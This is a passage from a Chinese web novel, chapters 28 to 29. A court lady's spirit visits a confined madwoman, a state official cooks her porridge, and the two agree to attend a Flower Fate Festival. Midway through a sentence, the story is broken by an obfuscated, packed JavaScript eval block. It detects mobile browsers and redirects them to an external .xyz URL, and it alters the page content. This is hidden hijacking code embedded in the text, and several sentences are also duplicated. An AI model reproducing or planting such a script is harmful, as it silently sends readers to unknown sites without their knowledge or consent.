阮时逢眼神彻底冷了下来。他不再犹豫,立刻打横抱起温招。 她的头无力地靠在他颈窝,冰冷的呼吸拂过他的皮肤。 他扯下自己外袍,迅速将她裹紧,隔绝顶楼阴冷的空气和无处不在的尘埃。 顶楼依旧死寂,只有书页上那枚“血雾引”印记彻底黯淡下去,仿佛从未亮起。 阮时逢抱着温招,目光扫过那本摊开的邪异册子,又掠过满室沉默的禁书,最后落回怀中人苍白的脸上。 此地不宜久留。 他抱着温招,拿起那本禁书,转身大步走向楼梯口,脚步沉稳迅捷,没有半分迟疑。怀中人的重量很轻,那份无声的托付却重逾千斤。 禁书阁顶楼的秘密依旧深埋在他的心里,但眼下,他只需护住怀里这一个。 他疾步踏下藏书阁的木阶。 怀中人轻若无物,那份冰冷和眉心刺目的暗红却沉甸甸地压在他心头。 每一步踏在空寂的楼梯上,都发出沉闷的回响,敲打着紧绷的神经。 是他没有护住她…… 这个念头如同跗骨之蛆,缠得他几乎窒息。 那句“护法”言犹在耳,他应得干脆,却未能真正挡住那诡谲的血雾。 信任交付得彻底,守护却出了纰漏。这比任何刀剑加身更令他难受。 藏书阁外,夜色已浓稠如墨。白日里灼人的暑气消散无踪,只剩下一种黏腻阴冷的寂静。 宫灯昏黄的光晕在远处摇曳,照不透这沉重的黑暗。 阮时逢脚步不停,直奔司天监。他左臂残留的麻痹感挥之不去,那股侵入的阴寒恶念如同潜伏的毒蛇,但他此刻全然顾不上了。 温招的气息微弱得仿佛随时会断绝,眉心那点暗红如同不祥的烙印。 他低头看了一眼怀中人苍白的脸。她双目紧闭,长睫在眼下投下浓重的阴影,脆弱得不堪一击,与平日那个沉静冷冽的温招判若两人。 人最怕的,不是自己倒下,而是眼睁睁看着承诺要护住的人倒下。 宫室门被阮时逢一脚踹开,惊得值夜的小太监险些跳起来。看清来人怀中抱着的是谁后,小太监脸色煞白,慌忙让开,连忙去通知破军和贪狼。 “关门!守住外面,任何人不得擅入!”阮时逢的声音带着不容置疑的冷厉,再无半分平日的风流戏谑。他将温招小心地安置在榻上,动作却快得惊人。 室内只剩下两人。烛火不安地跳动,将阮时逢的身影拉长,投在墙壁上,如同守护的凶兽。他坐在榻边,紧紧盯着温招毫无生气的脸,右手下意识地想握住她冰冷的手腕,却又觉得不妥,轻轻的拉住了她的衣袖一角。 她究竟怎么了……什么时候能醒来……对了!那本书…… 阮时逢从怀中取出了那本书,连忙翻开…… 28.028 督统府的后院,俨然是繁华的背面。深秋时节,晚风已带了刺骨寒意,枯黄的败叶在地上翻卷,裹挟着尘土,打着旋儿,最终悄无声息地沉入角落的泥泞里。 温招的神识探入了督统府,她绕过几处假山,又穿过一片荒芜的园圃,抬眼便见一幢小小偏屋,嵌在院墙最深的角落里,如同被遗忘的枯骨。 屋子门上挂着一把沉甸甸的崭新铜锁,冷硬而刺目,与那扇雕花木门剥落的朱漆和蔓延的青苔形成突兀对照。 门缝里透出混浊的昏黄光线,微弱得几乎要消融于暮色中。 温招正欲离去,一丝声音却如游丝般钻入耳中,起初极缥缈,像是风中残絮,又仿佛梦里呓语。 可逐渐,那声音渐渐清晰起来,竟是唱曲之声。 嗓音沙哑却奇异地婉转,含着某种似曾相识的妩媚,宛如久远的胭脂香被尘土掩埋后,又被偶然翻起。 “……菱花镜碎,难照旧时容, 锦屏空,画堂只余冷霜浓。 何处觅得旧时约, 唯有庭树,摇落西风……” 那声音细细地唱着,字字句句,竟字正腔圆,仿佛喉中尚存着昔日舞台的灯火辉煌与台下喝彩,只是那袅娜的调子却缠绕着挥之不去的凄惶。歌声忽又拔高,拖着尖利的长腔,尾音颤巍巍地悬在半空,如同绷紧欲断的丝线,刺破了黄昏的沉寂: “良人哪-----” 这“良人”二字骤然拔高,却猛地失了控制,如同绷紧的弦猝然崩断。 一声尖锐刺耳的嘶叫代替了余韵,如同玻璃刮过石板,令人心头猛地一揪。 门内随即响起“咚”的一声闷响,像是身体重重撞在了门板上,震得那朽旧的雕花木门簌簌发抖,落下几缕陈年的积尘。 温招皱了皱眉头,驻在原地。 周遭突然陷入一片死寂,只有风掠过枯枝的呜咽。不知何时,一只乌鸦停在对面屋脊,驮着沉沉暮色,一动不动。 她望向那扇紧闭的门扉。 门内的死寂并未持续太久。一阵压抑的、从喉咙深处挤出来的咯咯声响起,仿佛有什么东西在费力地吞咽着空气。 这声音很快变了调,膨胀成一阵狂乱的大笑。笑声尖锐又嘶哑,像是生锈的铁片刮擦着骨头,毫无欢愉,只有无边无际的疯癫在狭窄的空间里横冲直撞。 它撞击着朽坏的木板,震得门框上的积尘簌簌落下,在昏黄的光线里飘浮。 笑声猛地一收,如同被无形的手扼住了喉咙。紧接着,是更为骇人的声响。 指甲疯狂地抓挠着木门内侧,发出密集而急促的刮擦声,一下又一下,仿佛要将那厚重的木头生生抠穿。 那声音里带着一种令人头皮发麻的执着,一种困兽般的绝望挣扎。 “开门……开门啊!” 一个破碎的女声猛地穿透了抓挠声,嘶喊着,每一个字都像被砂纸磨过,带着血沫的腥气。 喊声骤然拔高,又瞬间断裂,仿佛绷到极限的弦猝然崩开。门板再次被身体狠狠撞上,发出沉重的闷响。 抓挠声停止了,只剩下急促而浑浊的喘息,如同破败的风箱在苟延残喘。 温招眉头微皱,穿过了那残破的墙壁,映入眼帘的是狭窄斗室内的景象。 一个枯瘦的身影蜷缩在门板后的阴影里,像一团揉皱的旧纸。 她身上套着一件辨不出原色的破烂衫子,袖口和下摆撕裂成缕,沾满污垢。 一头灰白纠结的长发披散下来,几乎盖住了整张脸。 那女人似乎并未察觉温招的存在,兀自沉浸在自己的世界里。 她枯枝般的手指正神经质地撕扯着自己的头发,动作时快时慢,带着一种令人心悸的专注。 喉咙里发出意义不明的咕哝,像含着砂砾摩擦。 “妆……我的妆……” 她猛地抬头,露出一张布满污痕、颧骨高耸的脸。 眼神浑浊而狂乱,没有焦点地扫视着虚空,像是在寻找一面早已不存在的镜子。 “他来了……他就要来了……得扮上……扮上才好……” 声音低哑含混,每一个字都像是从干涸的井底艰难地掏出来。 她开始用那片碎布徒劳地擦拭着自己的脸颊,动作急促而粗暴,仿佛要擦掉什么看不见的脏污,又或是想把早已褪色的容颜重新擦拭出来。 “来不及了……来不及了……” 她突然停下动作,身体筛糠般剧烈颤抖起来,眼神里的那点光亮瞬间被巨大的恐惧吞噬。 她猛地抱紧双臂,指甲深深掐进自己皮包骨头的胳膊里,留下几道暗红的污迹。 整个身体缩得更紧,几乎要嵌进墙壁与门板形成的那个角落,仿佛要躲避某个步步紧逼的存在。 万氏……真的疯了? 温招眉头蹙的更深,“你可是万氏?”温招的神识渐渐化为实体。 温招眉头蹙的更深,“你可是万氏?”温招的神识渐渐化为实体。 那蜷缩在角落的身影猛地一僵,撕扯头发的动作戛然而止。 她缓缓地、极其僵硬地抬起头,灰白纠结的乱发下,那双浑浊的眼睛透过发隙,死死地钉在温招身上。 污迹斑斑的脸上,方才的狂乱与恐惧瞬间凝固,被一种更深沉的、近乎冻结的惊骇取代。 时间仿佛在这一刻停滞。斗室里死寂无声,只有女人骤然停止的、如同被扼断的呼吸在喉咙里发出细微的抽气声。 下一秒,那凝固的惊骇骤然炸开。 一声极其尖锐到失真的吸气声后,女人整个身体如同被无形的巨力狠狠抽打,猛地向后弹去,脊背重重撞上冰冷的墙壁。 她枯瘦的双手死死捂住自己的嘴,却无法阻挡那撕裂般的尖叫从指缝和喉咙深处同时爆发出来。 她像见了真正的地狱恶鬼,双脚在冰冷的地面上徒劳地蹬踹着,身体拼命向后蜷缩,试图将自己更深地挤进那个无法再容纳她的墙角缝隙里,恨不得就此融进砖石。 那双浑浊的眼睛瞪得极大,眼白上布满血丝,瞳孔缩成了针尖,里面倒映着温招清晰的身影,却只盛满了纯粹的,灭顶的骇然。 世间最深的恐惧,有时并非源于幽冥,而是来自一个活生生出现在你囚笼里的人。 尖叫持续着,带着一种要呕出灵魂的歇斯底里,再无任何唱曲的婉转,只剩下被彻底碾碎的疯癫与绝望。 这声音本身,就是她对这个突然闯入的人最本能的回应,一种灵魂被彻底惊散的哀鸣。 万氏常年在这偏僻的侧院里狼哭鬼嚎,根本无人会在意她又在搞些个什么名堂,药也断了,人也疯了,林海高只盼着她早点死。 温招看着她对于自己出现感到恐惧,看着她耐着性子轻声开口:“想不想出去见林静姝?” 万氏的尖叫声随着“林静姝”三个字戛然而止。她那双空洞的眼神慢慢聚焦,随后她开始胡乱的整理那入枯草的头发。 “我的孩儿进宫了!成宫妃了!享福去了!”万氏突然笑了,脸上带着偏执可怖的笑容,盯着温招,瘆人得很。 温招并没有感到害怕,她的心跟着一颤,她自重生以来,能让她有这种感觉的事情一只手数的过来。 想李婆和娘亲的时候有这种感觉,但却和此刻不同。一股窒息感涌了上来,温招偏开头,深吸了口气。 那是一个母亲本能的对于孩子的偏爱,万氏不知道林静姝在宫里得不得宠,也不知道林静姝过得好不好,她只知道,林静姝在宫里,总比在林府好过,享福去了…… 温招裂了一下嘴角,露出一个淡淡的笑容:“那真是恭喜夫人您了。” 她本来是想亲口问问万氏关于林静姝换子之事,可眼下看来,她是狠不下来这个心了,万氏又怎会不知林静姝不是自己的孩子,自己的孩子早就被她的亲生父亲亲手杀死。 但她还是待林静姝如亲生孩子一般,由衷的替林静姝感到高兴。 温招深深地看了万氏一眼,轻叹了口气,只能想办法从别处查了。 而此刻的阮时逢一边翻着那本禁书,一边照顾着温招的肉身。 温招的神识如倦鸟归林,自那充斥着绝望与疯癫的偏屋抽离,循着与肉身的微弱联系,缓缓沉入。 阮时逢的叹息声先一步抵达她的感知,像投入死水潭的石子,荡开细微的涟漪。 紧接着,是书页翻动的窸窣,带着一种近乎麻木的焦躁。 他手中的禁书早已翻过不知多少遍,泛黄的纸页上字迹狰狞,却吝啬地不肯给出任何唤醒她的答案。 “怎么办啊……” 阮时逢的声音低哑,带着一夜未眠的疲惫和深重的无力感,更像是在质问自己。 五个时辰的徒劳搜寻,足以将最初的惊慌熬煮成浓稠的绝望。 他抬手用力揉捏着紧锁的眉心,仿佛要将那化不开的愁绪硬生生按下去。“这上面……也没写怎么让人醒啊……” 就在他指尖深陷眉间皮肉,几乎要揉出血痕的刹那,身后床榻上,那具沉寂了五个时辰的身体,极其轻微地动了一下。 非常细微。像深秋最后一片叶子脱离枝头前那几乎无法察觉的震颤。 阮时逢揉捏眉心的动作骤然僵住。他猛地转过头,视线如同被无形的线牵引,死死钉在温招脸上。 她的眼睫确实在动,极其微弱,却不再是之前那种灵魂挣扎归位的沉重滞涩,反而带上了一丝难以言喻的轻快。 像风掠过水面时留下的细小涟漪。那微蹙的眉头也舒展开了,嘴角似乎绷着一条极细的、几乎看不见的弧度。 阮时逢的心猛地一跳,随即升起一丝狐疑。他太熟悉温招了,这细微的变化逃不过他的眼睛。 那绝不是刚从漫长昏迷中苏醒的人该有的状态,倒像是在极力忍耐着什么。 他不动声色地靠近床边,俯身更近,目光如炬,仔细捕捉着她脸上每一丝细微的变化。 温招的呼吸依旧平稳绵长,仿佛沉睡未醒,可那紧闭的眼皮下,眼珠却极其飞快地滚动了一下。 阮时逢的嘴角几不可察地抽动了一下。他伸出两根手指,带着试探的意味,极其缓慢地靠近温招挺翘的鼻尖。 指尖带着一丝夜里的凉意,几乎要触碰到她的皮肤。 就在这毫厘之间,温招终于绷不住了。 那强行压制的笑意如同冲破堤坝的细流,瞬间漫过她的唇角。 她猛地睁开眼睛,那双刚刚还显得空洞迷茫的眸子,此刻清亮如洗,里面盛满了恶作剧得逞后的狡黠光亮,像夜空中骤然点亮的星辰,直直撞进阮时逢带着惊愕的视线里。 她看着他,毫不掩饰眼底的笑意,那笑容如同初春化冻的溪水,清澈又带着点小小的得意。 “怎么,”温招的声音带着刚苏醒的微哑,却掩不住那份促狭,“阮大人担心本宫一晚上没睡?” 阮时逢的手指还僵在半空,距离她的鼻尖只有寸许。 他看着温招眼中那鲜活灵动的笑意,方才堆积如山的焦灼、担忧、无力感、瞬间被这猝不及防的“诈尸”冲击得七零八落。 一股难以言喻的情绪涌上心头,像是被戏耍的恼怒,又混杂着失而复得的巨大庆幸,最终化作一声带着无奈和如释重负的叹息。 他收回手,直起身,目光复杂地落在她带笑的脸上。 被识破的恶作剧,有时比千言万语更能证明一个人鲜活的存在。 按照他的性子本应该傲娇的耍一下脾气,可此刻他却真的松了一口气,看着温招鲜少的笑了起来,他也无奈的勾起了唇角。 温招眼中狡黠的笑意还未完全褪去,便见阮时逢脸上那点无奈也迅速沉淀下去,只余下纯粹的、沉静的关切。她不再逗他,掀开薄被,双脚触到微凉的地面。长时间神识离体的滞涩感让身体有些僵硬,她轻轻活动了一下手腕脚踝,骨节发出细微的轻响。 阮时逢没有阻止,只是默默倒了杯温水递过去。 温招接过杯子,指尖感受着杯壁传来的暖意,目光落在窗外渐亮的天色上,眼底的笑意淡去,蒙上一层沉凝。 “督统府后院,”她开口,声音依旧微哑,却已清晰,“最偏的角落,锁着一个人。” 阮时逢在她对面坐下,安静地听。 “万氏。”温招吐出这个名字,舌尖似乎还残留着那偏屋里绝望疯癫的气息。“她疯了。彻彻底底地疯了。” 她描述着那枯槁如鬼魅的身影,那毫无章法的撕扯,那对着虚空寻找镜子的狂乱,那因一声“林静姝”而骤然亮起又扭曲的偏执。 “她以为她的‘孩儿’进宫享福去了。” 温招的语气带着一种难以言喻的复杂,像是叹息,又像是某种沉重的了然,“由衷地高兴,甚至为此整理她那早已不成样子的头发。” 阮时逢的眉头渐渐锁紧:“换子之事……” “问不出口了。”温招摇头,指尖无意识地摩挲着温热的杯壁,“对着那样一个……把别人孩子当唯一念想的疯子。有些真相,撕开比掩埋更残忍。” 她顿了顿,声音更低,“她自己的孩子,是被林海高亲手杀死的。她都知道。” 斗室里令人窒息的尖叫,万氏脸上那瘆人的、替林静姝“享福”而绽放的笑容,再次清晰地浮现在温招眼前。 疯癫是清醒者给痛苦定的罪,而有些痛苦,连疯癫也无法抹平。 温招抬眼,迎上他洞悉的目光。窗外,晨曦正努力穿透厚重的云层,却只吝啬地洒下几缕稀薄的光线。她将杯中温水一饮而尽,暖意滑入喉咙,却驱不散心底那丝寒意。 “是啊,”她放下杯子,声音里透着一股冷肃,“督统府的水,比想的要深。万氏这条线断了,只能从别处凿开冰面了。” 阮时逢点了点头,没应声。 温招放下空杯,指尖残留的暖意被腹中突如其来的空鸣驱散。 那声音在沉寂的室内格外清晰,带着一种不容忽视的催促。 她下意识地按了按胃部,动作细微,却没能逃过阮时逢的眼睛。 他正沉浸在对督统府线索的思索中,闻声抬眼,视线落在她微蹙的眉心和略显苍白的脸上。 那层因万氏而笼罩的沉凝尚未完全褪去,此刻又添了一丝真实的虚弱。 五个时辰的神识离体,终究是极大的消耗。 阮时逢的目光在她脸上停留片刻,那惯常的、带着几分玩世不恭的调笑并未出现。 他什么也没说,只是极其自然地站起身,修长的身影挡住了窗外稀薄的晨光。 “等着。” 声音不高,甚至有些平淡,却带着一种罕见的笃定。 他转身走向屋角那道通往小厨房的门帘,绯色的国师袍袖在微凉的空气中划过一道利落的弧线,与这烟火之地显得格格不入,又奇异地和谐。 那身象征尊贵与神秘的法袍,此刻仿佛只是他去做一件再寻常不过事情的普通外衣。 温招有些意外。这人向来懒散,十指不沾阳春水才是常态,更别提此刻他眉宇间还带着一夜未眠的疲惫。 她看着他掀帘而去的背影,那背影竟透着一股与往日吊儿郎当截然不同的沉稳可靠。 今日的阮时逢,像是敛起了所有浮华,只余下内里的筋骨。 她没力气起身,只侧耳听着。 厨房里很快传来轻微的响动,是陶罐轻放案板的声音,是清水注入锅中的泠泠声,然后是柴火被点燃时细微的噼啪。 没有多余的嘈杂,一切井然有序,带着一种奇异的韵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133458|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 律感,仿佛他指尖掐诀引动星辰时那般精准流畅。 没过多久,一股温暖的、带着谷物醇厚清甜的米香便袅袅地钻过门帘缝隙,丝丝缕缕地弥漫开来,强势地驱散了室内残留的阴寒与沉重。 那香气并不浓烈,却像一只温柔的手,轻轻抚平了温招紧绷的神经和空荡的肠胃,带来一种近乎熨帖的慰藉。 人间烟火气,有时正是抚慰神魂最朴素也最有效的良药。 阮时逢再次出现时,手中端着一只素白瓷碗。碗里是熬得恰到好处的白粥,米粒晶莹饱满,粥汤浓稠清亮,表面还氤氲着淡淡的热气。 他走到榻边,将碗递给她,动作随意,眼神却落在她接过碗时微微发白的指尖上。 “趁热。”他言简意赅,顺势在旁边的矮凳上坐下,一条长腿随意屈起,手肘搭在膝上,恢复了往日那副懒散姿态。 只是那双注视着她的眼睛里,沉淀着尚未散尽的关切和一丝不易察觉的放松。 再吊儿郎当的人,心底也总有一块地方,愿意为在意的人放下身段,燃起灶火。温招捧着那碗温热的粥,暖意从掌心一直蔓延到心底。 温招捧着那碗温热的粥,暖意从掌心一直蔓延到心底。 她舀起一勺,轻轻吹了吹,送入口中。白粥的温度恰到好处,米粒软糯,带着谷物最本真的清甜,滑入空乏的肠胃,带来一种近乎熨帖的舒适。 暖流顺着四肢百骸悄然扩散,驱散了神识离体带来的冰冷滞涩感,连紧绷的神经都缓缓松弛下来。 这简单的食物,此刻胜过任何珍馐。 阮时逢就坐在旁边的矮凳上,一条腿屈着,手肘随意搭在膝头,恢复了那副懒散模样。 他没看她,目光落在窗外那片灰蒙蒙的天色上,仿佛只是随意歇脚。 只是那微微侧向她的角度,和偶尔扫过她手中粥碗的余光,泄露了那份未曾言明的关注。 温招小口吃着粥,室内的沉寂并不令人尴尬,反而有种劫后余生的宁静。 她感受着身体里力量的缓慢回流,也感受着对面那人无声传递的支撑。 有些温度,是术法变不出来的,只能靠灶火慢慢煨,靠心意一点点熬。 一碗粥很快见了底,胃里的空鸣彻底平息,连带着眉宇间那抹苍白也淡去了些许。 她放下空碗,指尖残留着瓷碗的温热。 “手艺不错。”温招抬眼看向阮时逢,声音比刚才清亮了些,带着一丝真实的暖意。 阮时逢这才慢悠悠地转过脸,视线在她恢复了些血色的脸上掠过,嘴角习惯性地勾起那点玩世不恭的弧度:“那是自然。能让某些人吃的高兴,总得有点看家本事。” 某只臭屁猫不禁有些得意。 语气是惯常的揶揄,眼神却清亮,里面盛着一种如释重负的轻松。 某些人还活着,还能有力气顶嘴,这本身就很值得。 阮时逢突然像是想到了什么似的,挑了挑眉:“明日可有空?” 阮时逢突然像是想到了什么似的,挑了挑眉,那点懒散的笑意里掺入一丝不易察觉的认真:“明日可有空?” 温招正用指尖摩挲着碗沿,闻言动作一顿,抬眼看他。 阮时逢主动约人,还是用这种近乎正经的口吻,实属罕见。 “明日?”她问,带着点探究。 “嗯,”阮时逢身体微微前倾,手肘依旧搭在膝上,目光却比刚才更专注地落在她脸上,“花缘节。宫外中街,据说今年那株古桂开得极好,香飘十里。 花缘节是大钰一年一度的特定节日凡是到了婚配的男女,都会在花缘节带上面具,在中街一同赏花,在古桂下一同向月老祈福,许得姻缘。 ”他顿了顿,语气随意,却字字清晰,“人海如沸,热闹得很。有些东西,藏在最喧闹的地方,反而容易看清。” 他话里似乎有别的意思,温招心中一动。 花缘节,人潮涌动,鱼龙混杂……的确是个掩人耳目、探查消息的好时机。 督统府的线索刚断,或许能在这种地方找到新的突破口。 阮时逢看着她眼中一闪而过的了然,知道她明白了。 他并不点破,只是闲闲地补充道:“顺便……去透透气?总闷着,骨头都要锈了。” 后面这句,倒像是他惯常的调调了。 温招迎着他看似随意实则洞悉的目光,窗外薄薄的晨光落在他肩头。 她略一沉吟,嘴角也浮起一点极淡的、心照不宣的弧度。 “热闹处好藏身,”她轻声道,算是应了,“也好。” 阮时逢眼底的笑意加深了些,像是料定她会答应,又像是为这无声的默契感到一丝愉悦。 他重新靠回椅背,恢复了那副懒洋洋的姿态,仿佛刚才那点认真的邀约只是随口一提。 “那说定了。”他目光投向窗外,天色将明未明,“睡足了,明日……去看场热闹。” 这热闹是花,是人,还是别的什么,彼此心知肚明。 有些路,总要并肩走下去,哪怕前方仍是迷雾重重。 “那说定了。”阮时逢的声音落下,带着一种尘埃落定的随意,目光却仍停留在窗外那片将明未明的天色上。 温招轻轻“嗯”了一声,算是回应。腹中的暖意驱散了虚弱,神识归位的沉重感也减轻许多。 她起身,动作间带着大病初愈般的些微滞涩,却已足够支撑她离开。 “走了。”她没多言,只留下两个字。 阮时逢依旧维持着那副懒散姿态,手肘搭在膝头,并未起身相送,只微微侧过脸,视线随着她的动作移动。 白色的袍袖垂落,在熹微晨光里像一片凝固的暗色火焰。 “别逞强。”他声音不高,像是随口叮嘱,又带着洞悉一切的意味。 五个时辰的神识离体,绝非一碗粥就能彻底抹平痕迹。 温招脚步未停,只抬手随意挥了挥,算作听见了。 她掀开门帘,身影融入外面渐起的微光中,将那满室残留的书卷气息,以及某种无声的支撑,暂时留在了身后。 回栖梧宫的路不长,清晨的宫道寂静无人。薄雾尚未散尽,缠绕着冰冷的宫墙和凋零的草木。 温招独自走着,步履沉稳,唯有她自己知道,每一步都像是在踩过督统府后院那潮湿阴冷的泥泞。 万氏枯槁的身影、绝望的尖叫,还有那瘆人偏执的笑容,如同附骨之疽,清晰地烙印在识海深处,驱之不散。 栖梧宫的宫门在望,守夜的宫人见到她,无声地躬身行礼,悄然退开。 魑惊在院子里的石桌上已经趴着睡着了,这傻丫头在外面等了温招一夜,温招眼神带着一丝温柔,并未唤醒她,只是轻轻扶起她,让她靠在自己的肩上,将她扶去寝殿。 殿内温暖的气息扑面而来,带着熟悉的熏香,与外界的清寒截然不同。 重重锦幔低垂,隔绝了尘世,也隔绝了方才那场深入骨髓的窥探。 温招将人扶上床,径直走向妆台。铜镜映出她略显苍白的脸,眼底残留着一丝挥之不去的倦意与沉凝。 她抬手,指尖触上冰凉的镜面,镜中人的影像与脑海中那个在污秽斗室里徒劳擦拭脸颊的枯槁身影,诡异地重叠了一瞬。 她闭了闭眼,再睁开时,镜中只余下属于她自身的平静。 指尖落下,却不是去碰那些精致的妆匣,而是缓缓地、一根根地,卸下了发髻上沉重的珠钗。 金玉之物落在丝绒垫上,发出沉闷的轻响。繁华深处锁枯骨,喧闹尽头是孤寂。 明日花缘节的热闹,或许能撕开新的缝隙,但此刻,栖梧宫沉重的寂静,才是她舔舐神魂深处那丝寒意的唯一归处。 29.029 花缘节的根,扎在大钰开国元年的春天。 那时天下刚从十年战乱中挣脱,中原千里荒芜,百姓流离,适龄男女或因家破人亡失了婚配之途,或因礼教束缚不敢私相授受,民间婚媾稀少,人口凋敝成了新帝常珩的心头急。 京中中街有棵百年古桂,传说是前朝御苑遗存。 战乱时百姓躲进树下避箭,竟无一人伤亡,渐渐被视作“庇佑之树”。 那年三月廿三,有位鬓插桂花的老妪忽然在树下摆开案几,案上放着红线、桂花糕,见路过的年轻男女便笑问:“想寻良缘?抽个福签,老身替你系根线。” 起初无人敢应,直到有个丧了父兄的孤女,和一个退伍的残兵,各自红着脸抽取了福签。 老妪将两片福签用红线缠在一起,说:“今夜月上中天,来树下解线,若红线未断,便是月老点头。” 当晚两人赴约,红线果然完好,后来成了中街第一对在战后成家的夫妻,生了对双胞胎,被邻里传作“桂仙赐缘”。 新帝听闻,觉得这是“聚人心、续人烟”的好事,便下旨将三月廿三定为“花缘节”,钦点中街为节庆之地,还命人在古桂旁修了座小小的月老祠。 当然这些只是潮阁史书上所记载的,在民间传闻之中,那棵古桂已然生出灵智,会赐红线绑定正缘,这些更是无人能证实…… 温招眯了一会,再次苏醒已然是正午时分,她轻轻下了软榻,换了身素净衣裳。魑惊候在门外见她出来便低眉跟上。 两人已至瑶倾宫。宫墙看着有些斑驳檐角的铜铃蒙了层灰风过也只哑哑响了两声。 殿里没宫人守着。温招掀帘进去就见林静姝正对着一盆枯了的兰花说话。 她背影单薄发髻歪歪扭扭插着支断了珠的银簪。 “你来了。”林静姝没回头声音轻飘飘的像从很远的地方飘过来。 温招在她身后站定:“林答应身子可好些了?” 林静姝慢慢转过身。她眼下乌青很重盯着温招看了半晌忽然笑了:“好不了啦。宫里的花都谢了我怎么会好。” 她说着指了指那盆枯兰“你看它死了三个月了我天天跟它说话它还是不活。” 温招没接这话直接问:“关于当年的事你还知道多少?” 林静姝微微停顿了一下,似是在思考,“记得不错的话,今日是花缘节,林海高与曾经心悦的那女子曾在中街的古桂和月老祠求过一次签。 “但是好像当时不知因为什么好像闹了起来,娘娘有时间的话今夜可以去看看。”林静姝难得一口气说了这么多话,温招眉头微微轻皱了一下,随后点了点头。 夜色逾窗,若浸墨之绒。 又是熟悉的银面具,熟悉的狗洞,熟悉的一人一魂。温招这次带上了主动请缨想凑花缘节热闹的柳含烟。柳含烟的魂体轻盈,毫无阻碍地穿墙而出,悠闲地飘在外面等着。 温招则熟练地俯身,准备从那个隐蔽的狗洞钻出去。她动作利落,上半身刚探出宫墙,半个身子还卡在洞里,正发力准备一鼓作气时…… “咦?这洞口怎么堵了块石头?” 一个清亮得有些刻意、甚至拔高了八度的声音,带着十足的困惑,以及藏不住的笑意,在洞口外突兀地响起。 温招的动作瞬间僵住,卡在狗洞中间,进也不是退也不是,只剩半个身子露在宫墙外,姿势十分尴尬。她心中警铃大作,这声音……化成灰她都认得。 果然,下一秒,一双绣着精致云纹的锦靴便出现在她身后,阮时逢弯下腰,那张比女子还昳丽几分的脸凑近了洞口,桃花眼里盛满了“纯真”的惊讶。 “哎呀呀,这是什么东西卡住了?”阮时逢故作惊讶地歪着头,长长的睫毛忽闪忽闪,语气无辜得像刚出世的幼鹿,“黑乎乎的……莫非是宫里养的大黑耗子钻洞跑出来了?贪狼,快来看看!” 高大沉默的侍卫贪狼像个铁塔似的杵在阮时逢身后半步,闻言嘴角几不可察地抽搐了一下,眼神复杂地瞥了一眼地上那截熟悉的、属于良妃娘娘的腰身和……臀部。他默默移开视线,非礼勿视,非礼勿视。 温招气得牙痒痒,面具下的脸估计黑得能滴墨。她努力维持着最后的高冷,她只想快点从洞里钻出来。 “滚远点。” “哦?”阮时逢像是才发现是她,夸张地用手掩住红唇,眼里的戏谑更浓了,“原来是娘娘您啊!失敬失敬!您这是在……体验民间疾苦?还是……体察宫墙构造?” 他顿了顿,语气变得无比“关切”,“娘娘这般金尊玉贵的身子,卡在这小小的狗洞里,多难受啊!万一伤了玉体,陛下怪罪下来,微臣可担待不起呀!” 温招懒得跟他废话,只想赶紧脱身:“少废话!你等本宫出去的!” “哎,娘娘别急嘛。”阮时逢非但没让,反而蹲了下来,近距离欣赏着温招此刻的“窘态”,笑得像只偷腥成功的小猫。 “微臣这就帮你!” 阮时逢眼中精光一闪,嘴角勾起一抹极其恶劣的弧度。他迅雷不及掩耳直接踹了温招一脚。 “走你!”阮时逢甚至还配音了,声音里满是恶作剧得逞的欢快。 “!!!” 温招只觉得一股无法抗拒的外力猛地从后方袭来,精准作用于她的尾椎骨附近。 她脑子里“嗡”的一声,一片空白,什么高冷什么仪态全飞到了九霄云外,身体完全不受控制地向前猛地一蹿。 “噗----” 伴随着一声闷响,温招整个人像颗被发射出去的炮弹,狼狈不堪地从狗洞里被“踹”了出来,脸朝下,结结实实地扑在了宫墙外的草地上。银面具都歪到了一边。 贪狼:“……”他默默地、用力地低下头,替自家大人捏了一把汗。 当然替他担忧的还有柳含烟。 温招趴在草地上,泥土和青草的气息瞬间涌入鼻腔。她整个人都懵了,几秒后才反应过来发生了什么。一股无法形容的羞愤混合着滔天怒火直冲天灵盖! 她猛地抬起头,一把扶正歪掉的面具,那双平日里清冷如寒潭的眸子,此刻燃烧着熊熊烈焰,死死地钉在罪魁祸首身上,声音像是从牙缝里挤出来的冰渣子: “阮!时!逢!你!找!死!” 阮时逢眨了眨眼,满脸无辜,声音轻快得能滴出水:“我可什么都没干啊,就是帮娘娘出洞而已。”他边说边极其自然地往后退了两步,“好啦好啦~误会一场,一会宫外见~” 阮时逢美滋滋的,上一次绊魂锁的仇算是还了,嘻嘻!高兴! 话音未落,他提气纵身,动作快得像一道掠影,毫不犹豫地转身就跑。 那身华贵的锦袍在夜色里划出一道流畅的弧线,瞬间就窜出去老远。 温招站在原地,盯着他消失的方向,面具下的脸冷得能结冰。夜风吹动她素净的衣角,猎猎作响。 柳含烟飘到她身边,小心翼翼:“温姑娘……还、还去中街吗?” “去。”温招像是从牙缝里挤出这么一个字。 阮……时……逢……你给老娘等着! 温招心中暗暗想道。 夜色被中街的灯火撕开一道口子。 温招踏上中街青石板路时,周身寒气未散。方才宫墙外的狼狈与怒火被她强行压下,沉在眼底,凝成更深的冷。柳含烟缩在她影子附近,魂体都透着小心翼翼。 眼前景象确实热闹非凡。花灯如星子坠落凡间,悬在檐下,挂在树梢,映得整条长街亮如白昼。 人人脸上都覆着各色面具,或精巧,或粗犷,将真实面目掩藏。 欢笑声、叫卖声、丝竹声混在一起,织成一张喧闹的网。 空气里浮动着甜腻的桂花香,炸物的焦香,还有年轻男女身上沾染的花粉气息。 这喧嚣鼎沸,却像隔着一层无形的罩子,落在温招耳中只剩模糊的嗡鸣。 她戴着那副冰冷的银面具,目光锐利地穿透人群缝隙,搜寻着目标,月老祠旁那棵传说中的百年古桂。 “温姑娘,”柳含烟的声音细若蚊蚋,在她识海里响起,带着点紧张,“人太多了……我们真的能在这里找到线索吗?” 